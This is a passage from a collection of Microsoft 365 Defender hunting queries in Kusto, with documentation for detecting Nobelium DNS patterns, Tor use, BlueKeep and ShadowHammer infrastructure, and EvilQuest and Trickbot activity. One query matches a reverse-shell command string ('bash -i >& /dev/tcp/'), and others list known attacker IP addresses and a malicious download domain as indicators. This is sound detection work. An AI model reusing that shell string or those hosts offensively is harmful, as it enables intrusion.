tostring(DomainArray[-1])), ThirdLevelDomain = strcat(tostring(DomainArray[-3]), '.', tostring(DomainArray[-2]),'.', tostring(DomainArray[-1]))\n| summarize ConnectionCount = count(), DistinctDevices = dcount(DeviceId) by SecondLevelDomain, ThirdLevelDomain, RemoteDomain\n| where DistinctDevices <= LowCountThreshold \n| top 10000 by DistinctDevices asc\n| order by ConnectionCount asc\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control | v |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Command and Control/DNSPattern [Nobelium].md",
    "content": "# Nobelium campaign DNS pattern\n\nThis query looks for the DGA pattern of the domain associated with the Nobelium campaign, in order to find other domains with the same activity pattern.\n\nThis query is inspired by an Azure Sentinel [detection](https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Hunting%20Queries/DnsEvents/Solorigate-DNS-Pattern.yaml).\n\n## Query\n\n```Kusto\nlet cloudApiTerms = dynamic([\"api\", \"east\", \"west\"]);\nlet timeFrame = ago(1d);\nlet relevantDeviceNetworkEvents = \n  DeviceNetworkEvents  \n  | where Timestamp >= timeFrame\n  | where RemoteUrl !has \"\\\\\" and RemoteUrl !has \"/\"\n  // performance filter\n  | where RemoteUrl has_any(cloudApiTerms)\n  | project-rename DomainName = RemoteUrl\n  | project Timestamp, DomainName, DeviceId, DeviceName;\nlet relevantDeviceEvents =   \n  DeviceEvents \n  | where Timestamp >= timeFrame\n   | where ActionType == \"DnsQueryResponse\"\n   // performance filter\n   | where AdditionalFields has_any(cloudApiTerms)\n   | extend query = extractjson(\"$.DnsQueryString\", AdditionalFields)  \n   | where isnotempty(query)\n   | project-rename DomainName = query\n   | project Timestamp, DomainName, DeviceId, DeviceName;\nlet relevantIdentityQueryEvents =\n  IdentityQueryEvents \n  | where Timestamp >= timeFrame\n  | where ActionType == \"DNS query\"\n  | where Protocol == \"Dns\"\n  // performance filter\n  | where QueryTarget has_any(cloudApiTerms)\n  | project-rename DomainName = QueryTarget   \n  | project Timestamp, DomainName, DeviceId = \"\", DeviceName;\nlet relevantData =\n  relevantIdentityQueryEvents\n  | union\n  relevantDeviceNetworkEvents  \n  | union\n  relevantDeviceEvents;\nlet tokenCreation =\n  relevantData\n  | extend domain_split = split(DomainName, \".\")\n  | where tostring(domain_split[-5]) != \"\" and tostring(domain_split[-6]) == \"\"\n  | extend sub_domain = tostring(domain_split[0])\n  | where sub_domain !contains \"-\"\n  | extend sub_directories = strcat(domain_split[-3], \" \", domain_split[-4])\n  | where sub_directories has_any(cloudApiTerms);\ntokenCreation\n  //Based on sample communications the subdomain is always between 20 and 30 bytes\n  | where strlen(domain_split) < 32 or strlen(domain_split) > 20\n  | extend domain = strcat(tostring(domain_split[-2]), \".\", tostring(domain_split[-1])) \n  | extend subdomain_no = countof(sub_domain, @\"(\\d)\", \"regex\")\n  | extend subdomain_ch = countof(sub_domain, @\"([a-z])\", \"regex\")\n  | where subdomain_no > 1\n  | extend percentage_numerical = toreal(subdomain_no) / toreal(strlen(sub_domain)) * 100\n  | where percentage_numerical < 50 and percentage_numerical > 5\n  | summarize rowcount = count(), make_set(DomainName), make_set(DeviceId), make_set(DeviceName), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DomainName\n  | order by rowcount asc\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | V |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium encoded domain in URL](./EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com\n"
  },
  {
    "path": "Command and Control/Device network events w low count FQDN.txt",
    "content": "////////////////////////////////////////////////////////////////////////////////////\n// Device Network Events Involving Low Count FQDNs\n//\n// This query reduces network events to only those with the RemoteURL column populated,\n// then parses the DNS name from the URL (if needed) and finds the least prevalent \n// FQDNs.  The result is then joined with DeviceNetworkEvents to highlight anomalous\n// network communication.\n////////////////////////////////////////////////////////////////////////////////////\nDeviceNetworkEvents\n| where Timestamp > ago(1h)\n| where InitiatingProcessFileName !in~ ('iexplore.exe','chrome.exe','opera.exe','safari.exe') // Remove web browsers\n    and isnotempty(RemoteUrl)\n| extend FQDN = iff(RemoteUrl matches regex \"^([a-zA-Z0-9._-])+$\", tostring(RemoteUrl), parse_url(RemoteUrl).domain)\n| top-nested 100 of FQDN by dcount(DeviceId) asc\n| join kind=inner (\n    DeviceNetworkEvents\n    | where Timestamp > ago(1h)\n    | where isnotempty(RemoteUrl)\n    | extend FQDN = iff(RemoteUrl matches regex \"^([a-zA-Z0-9._-])+$\", tostring(RemoteUrl), parse_url(RemoteUrl).domain)\n) on FQDN\n| order by aggregated_FQDN asc\n"
  },
  {
    "path": "Command and Control/EncodedDomainURL [Nobelium].md",
    "content": "# Nobelium encoded domain in URL\n\nLooks for a logon domain in the Azure AD logs,  encoded with the same DGA encoding used in the Nobelium campaign.\n\nSee [*Important steps for customers to protect themselves from recent nation-state cyberattacks*](https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/) for more on the Nobelium campaign (formerly known as Solorigate).\n\nThis query is inspired by an Azure Sentinel [detection](https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Hunting%20Queries/DnsEvents/Solorigate-Encoded-Domain-URL.yaml).\n\n## Query\n\n```Kusto\nlet timeFrame = ago(1d);\nlet relevantDeviceNetworkEvents = \n  DeviceNetworkEvents\n  | where Timestamp >= timeFrame\n  | where RemoteUrl !has \"\\\\\" and RemoteUrl !has \"/\"\n  | project-rename DomainName = RemoteUrl\n  | summarize by DomainName;\nlet relevantDeviceEvents =\n  DeviceEvents\n  | where Timestamp >= timeFrame\n  | where ActionType == \"DnsQueryResponse\"\n  | extend query = extractjson(\"$.DnsQueryString\", AdditionalFields)  \n  | where isnotempty(query)\n  | project-rename DomainName = query\n  | summarize by DomainName;\nlet relevantIdentityQueryEvents =\n  IdentityQueryEvents \n  | where Timestamp >= timeFrame\n  | where ActionType == \"DNS query\"\n  | where Protocol == \"Dns\"\n  | project-rename DomainName = QueryTarget\n  | summarize by DomainName;\nlet DnsEvents =\n  relevantIdentityQueryEvents\n  | union\n  relevantDeviceNetworkEvents  \n  | union\n  relevantDeviceEvents\n  | summarize by DomainName;\nlet dictionary = dynamic([\"r\",\"q\",\"3\",\"g\",\"s\",\"a\",\"l\",\"t\",\"6\",\"u\",\"1\",\"i\",\"y\",\"f\",\"z\",\"o\",\"p\",\"5\",\"7\",\"2\",\"d\",\"4\",\"9\",\"b\",\"n\",\"x\",\"8\",\"c\",\"v\",\"m\",\"k\",\"e\",\"w\",\"h\",\"j\"]);\nlet regex_bad_domains =\n   AADSignInEventsBeta\n   //Collect domains from tenant from signin logs\n   | where Timestamp >= timeFrame\n   | extend domain = tostring(split(AccountUpn, \"@\", 1)[0])\n   | where domain != \"\"\n   | summarize by domain\n   | extend split_domain = split(domain, \".\")\n   //This cuts back on domains such as na.contoso.com by electing not to match on the \"na\" portion\n   | extend target_string = iff(strlen(split_domain[0]) <= 2, split_domain[1], split_domain[0])\n   | extend target_string = split(target_string, \"-\")  | mv-expand target_string\n   //Rip all of the alphanumeric out of the domain name\n   | extend string_chars = extract_all(@\"([a-z0-9])\", tostring(target_string))\n   //Guid for tracking our data\n   | extend guid = new_guid()//Expand to get all of the individual chars from the domain\n   | mv-expand string_chars\n   | extend chars = tostring(string_chars)\n   //Conduct computation to encode the domain as per actor spec\n   | extend computed_char = array_index_of(dictionary, chars)\n   | extend computed_char = dictionary[(computed_char + 4) % array_length(dictionary)] \n   | summarize make_list(computed_char) by guid, domain\n   | extend target_encoded = tostring(strcat_array(list_computed_char, \"\"))\n   //These are probably too small, but can be edited (expect FP's when going too small)\n   | where strlen(target_encoded) > 5\n   | distinct target_encoded\n   | summarize make_set(target_encoded)\n   //Key to join to DNS\n   | extend key = 1;\nDnsEvents\n  | extend key = 1\n  //For each DNS query join the malicious domain list\n  | join kind=inner (\n      regex_bad_domains\n  ) on key\n  | project-away key\n  //Expand each malicious key for each DNS query observed\n  | mv-expand set_target_encoded\n  //IndexOf allows us to fuzzy match on the substring\n  | extend match = indexof(DomainName, set_target_encoded)\n  | where match > -1\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | V |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](./DNSPattern%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Stefan Sellmer\n**GitHub alias:** @stesell\n**Organization:** Microsoft 365 Defender\n**Contact info:** stesell@microsoft.com\n"
  },
  {
    "path": "Command and Control/Tor.txt",
    "content": "// This query looks for Tor client, or for a common Tor plugin called Meek.\n// We query for active Tor connections, but could have alternatively looked for active Tor runs (ProcessCreateEvents) or Tor downloads (DeviceFileEvents)\n// To read more about this technique, see:\n// Tor: https://attack.mitre.org/wiki/Software/S0183#Techniques_Used\n// Meek plugin: https://attack.mitre.org/wiki/Software/S0175\n// Multi-hop proxy technique: https://attack.mitre.org/wiki/Technique/T1188\n// Tags: #Tor, #MultiHopProxy, #CnC\nDeviceNetworkEvents  \n| where Timestamp < ago(3d) and InitiatingProcessFileName in~ (\"tor.exe\", \"meek-client.exe\")\n// Returns MD5 hashes of files used by Tor, to enable you to block them.\n// We count how prevalent each file is (by machines) and show examples for some of them (up to 5 machine names per hash).\n| summarize MachineCount=dcount(DeviceName), MachineNames=makeset(DeviceName, 5) by InitiatingProcessMD5\n| order by MachineCount desc\n"
  },
  {
    "path": "Command and Control/c2-bluekeep.md",
    "content": "# Detect command-and-control communication related to BlueKeep cryptomining\n\nThis query was originally published in the threat analytics report, *Exploitation of CVE-2019-0708 (BlueKeep)*.\n\n[CVE-2019-0708](https://nvd.nist.gov/vuln/detail/CVE-2019-0708), also known as BlueKeep, is a critical remote code execution vulnerability involving RDP. Soon after its disclosure, the NSA issued a rare [advisory](https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/1865726/nsa-cybersecurity-advisory-patch-remote-desktop-services-on-legacy-versions-of/) about this vulnerability, out of concern that it could be used to quickly spread malware. Attackers have since used this vulnerability to [install cryptocurrency miners](https://www.wired.com/story/bluekeep-hacking-cryptocurrency-mining/) on targets.\n\nMicrosoft has issued [updates](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708) for this vulnerability, as well as [guidance](https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708) for protecting operating systems that we no longer support. Microsoft Defender ATP also contains [behavioral detections](https://www.microsoft.com/security/blog/2019/11/07/the-new-cve-2019-0708-rdp-exploit-attacks-explained/) for defending against this threat.\n\nThe following query locates devices that have communicated with attacker infrastructure associated with BlueKeep-related cryptomining.\n\n## Query\n\n```Kusto\n// Suggest setting Timestamp starting from September 6th\n// when the BlueKeep Metasploit module was released\nlet IPs = pack_array(\"109.176.117.11\", \"5.100.251.106\", \n\"217.23.5.20\", \"5.135.199.19\"); \nDeviceNetworkEvents\n| where Timestamp > ago(7d) \n| where RemoteIP in(IPs)\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect BlueKeep-related mining](../Execution/detect-bluekeep-related-mining.md)\n* [Detect BlueKeep exploitation attempts](../Initial%20access/detect-bluekeep-exploitation-attempts.md)\n* [Detect suspicious RDP activity related to BlueKeep](..\\Lateral%20Movement\\detect-suspicious-rdp-connections.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Command and Control/check-for-shadowhammer-activity-download-domain.md",
    "content": "# Check for ShadowHammer-related download activity\n\nThis query was originally published in the threat analytics report, *ShadowHammer supply chain attack*\n\n[Operation ShadowHammer](https://www.vice.com/en_us/article/pan9wn/hackers-hijacked-asus-software-updates-to-install-backdoors-on-thousands-of-computers) was an attack against ASUS computer hardware, using the company's own update infrastructure to deliver malware to the company's products. The campaign ran from June to November, 2018. ASUS has since [responded](https://www.asus.com/News/hqfgVUyZ6uyAyJe1) with updates that protect their Live Update system, and diagnostic tools to check affected systems.\n\nThe following query checks for activity associated with the ShadowHammer download domain over the past 30 days.\n\n## Query\n\n```\nDeviceNetworkEvents \n| where Timestamp > ago(30d)\n| where RemoteUrl == \"asushotfix.com\" or RemoteIP == \"141.105.71.116\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Command and Control/python-use-by-ransomware-macos.md",
    "content": "# Python usage associated with ransomware on macOS\n\nThis query was originally published in the threat analytics report, *EvilQuest signals the rise of Mac ransomware*.\n\nAs of the time of this writing (October 2020), ransomware designed to target macOS is relatively rare. EvilQuest is one of the few examples of this kind of malware on the platform.\n\nThe query below can help locate an attempt to run Python in service of malicious activity by a remote operator. The command the query searches for is associated with, but not definitely indicative of, EvilQuest infections.\n\nOther queries related to EvilQuest ransomware can be found under the [See also](#see-also) section below.\n\n## Query\n\n```kusto\nunion DeviceFileEvents, DeviceProcessEvents  \n| where Timestamp >= ago(7d)  \n| where ProcessCommandLine contains \"EIKKEIKK\" and ProcessCommandLine contains \"python\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Ransom note 'say' alert associated with ransomware on macOS](..\\Impact\\ransom-note-creation-macos.md)\n* [Launching questd ransomware using osascript](..\\Execution\\launch-questd-w-osascript.md)\n* [Reverse shell associated with ransomware on macOS](reverse-shell-ransomware-macos.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Command and Control/recon-with-rundll.md",
    "content": "# Detect rundll.exe being used for reconnaissance and command-and-control\n\nThis query was originally published in the threat analytics report, *Trickbot: Pervasive & underestimated*.\n\n[Trickbot](https://attack.mitre.org/software/S0266/) is a very prevalent piece of malware with an array of malicious capabilities. Originally designed to steal banking credentials, it has since evolved into a modular trojan that can deploy other malware, disable security software, and perform command and control (C2) operations.\n\nTrickbot operators are known to use the legitimate Windows process *rundll.exe* to perform malicious activities, such as reconnaissance. Once a target is infected, the operator will drop a batch file that runs several commands and connects to a C2 server for further action.\n\nThe following query detects suspicious rundll.exe activity associated with Trickbot campaigns.\n\nSee [Office applications launching wscript.exe to run JScript](../Execution/office-apps-launching-wscipt.md) for another query related to Trickbot activity.\n\n## Query\n\n```Kusto\nDeviceNetworkEvents\n| where InitiatingProcessFileName =~ \"rundll32.exe\"\n// Empty command line\n| where InitiatingProcessCommandLine has \"rundll32.exe\" and InitiatingProcessCommandLine !contains \" \" \nand InitiatingProcessCommandLine != \"\" \n| summarize DestinationIPCount = dcount(RemoteIP), make_set(RemoteIP), make_set(RemoteUrl), \nmake_set(RemotePort) by InitiatingProcessCommandLine, DeviceId, bin(Timestamp, 5m)\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement |  |  |\n| Collection | v |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Command and Control/reverse-shell-ransomware-macos.md",
    "content": "# Reverse shell associated with ransomware on macOS\n\nThis query was originally published in the threat analytics report, *EvilQuest signals the rise of Mac ransomware*.\n\nAs of the time of this writing (October 2020), ransomware designed to target macOS is relatively rare. EvilQuest is one of the few examples of this kind of malware on the platform.\n\nThe query below can help locate a reverse shell established by an attacker. The command the query searches for is associated with, but not definitely indicative of, EvilQuest infections.\n\nOther queries related to EvilQuest ransomware can be found under the [See also](#see-also) section below.\n\n## Query\n\n```kusto\nunion DeviceFileEvents, DeviceProcessEvents\n| where Timestamp >= ago(7d)\n| where ProcessCommandLine has \"bash -i >& /dev/tcp/\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Ransom note 'say' alert associated with ransomware on macOS](..\\Impact\\ransom-note-creation-macos.md)\n* [Launching questd ransomware using osascript](..\\Execution\\launch-questd-w-osascript.md)\n* [Python usage associated with ransomware on macOS](python-use-by-ransomware-macos.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Credential Access/Active Directory Sensitive Group Modifications.md",
    "content": "# Active Directory Sensitive/Tier 0 Group Modifications\nThis query shows all modifications to highly sensitive active directory groups (also known as Tier 0). An example of these groups include Domain Admins, Schema Admins and Enterprise Admins.  \nMore info can be found here:  \nhttps://docs.microsoft.com/en-us/security/compass/privileged-access-access-model#evolution-from-the-legacy-ad-tier-model\nhttps://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory\n\nThis advanced hunting query requires Defender for Identity be deployed due to it's reliance on the IdentityDirectoryEvents table.\n\n## Query\n```\n// Detects changes in Tier 0 group memberships\n// Command leverages MDI schema\n// Execute from https://security.microsoft.com or through the M365D advanced hunting API\nlet Events = materialize (\nIdentityDirectoryEvents\n| where ActionType == 'Group Membership changed'\n| extend ActivityType = iff(isnotempty(tostring(AdditionalFields['TO.GROUP'])),\"Added Account\", \"Removed Account\")\n| where isnotempty(AccountSid)\n);\nlet Tier0Adds = (\nEvents\n| where ActivityType == \"Added Account\"\n| extend TargetGroup = tostring(AdditionalFields['TO.GROUP'])\n| extend TargetObject = iff(isempty(tostring(AdditionalFields['TARGET_OBJECT.USER'])), tostring(AdditionalFields['TARGET_OBJECT.GROUP']), tostring(AdditionalFields['TARGET_OBJECT.USER']))\n| extend TargetType = iff(isempty(tostring(AdditionalFields['TARGET_OBJECT.USER'])), \"Security Group\", \"User Account\")\n//| extend TargetObject = AdditionalFields['TARGET_OBJECT.USER']\n);\nlet Tier0Removes = (\nEvents\n| where ActivityType == \"Removed Account\"\n| extend TargetGroup = tostring(AdditionalFields['FROM.GROUP'])\n| extend TargetObject = iff(isempty(tostring(AdditionalFields['TARGET_OBJECT.USER'])),tostring(AdditionalFields['TARGET_OBJECT.GROUP']), tostring(AdditionalFields['TARGET_OBJECT.USER']))\n| extend TargetType = iff(isempty(tostring(AdditionalFields['TARGET_OBJECT.USER'])), \"Security Group\", \"User Account\")\n);\nlet Tier0Groups = datatable(TargetGroup:string)\n[\n'Enterprise Admins',\n'Domain Admin',\n'Domain Controllers'\n'Administrators',\n'Enterprise Key Admins',\n'Account Operators',\n'Organization Management',\n'Backup Operators',\n'RTCDomainServerAdmins',\n'ENTERPRISE DOMAIN CONTROLLERS',\n'Cert Publishers',\n'Schema Admins',\n'DnsAdmins',\n'Exchange Recipient Administrators',\n'Replicator',\n'Read-Only Domain Controllers',\n'Print Operators'\n];\nTier0Groups\n| join (union Tier0Adds, Tier0Removes) on TargetGroup\n| project Timestamp, ActionType, ActivityType,TargetType, ActorUpn=AccountUpn, TargetObject, TargetAccountUpn, TargetGroup\n// If you are setting up a detection rule in M365D, you'll need to add ReportId and AccountSid to the projected columns\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation | V |  |\n| Defense evasion |  |  | \n| Credential Access | V |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command 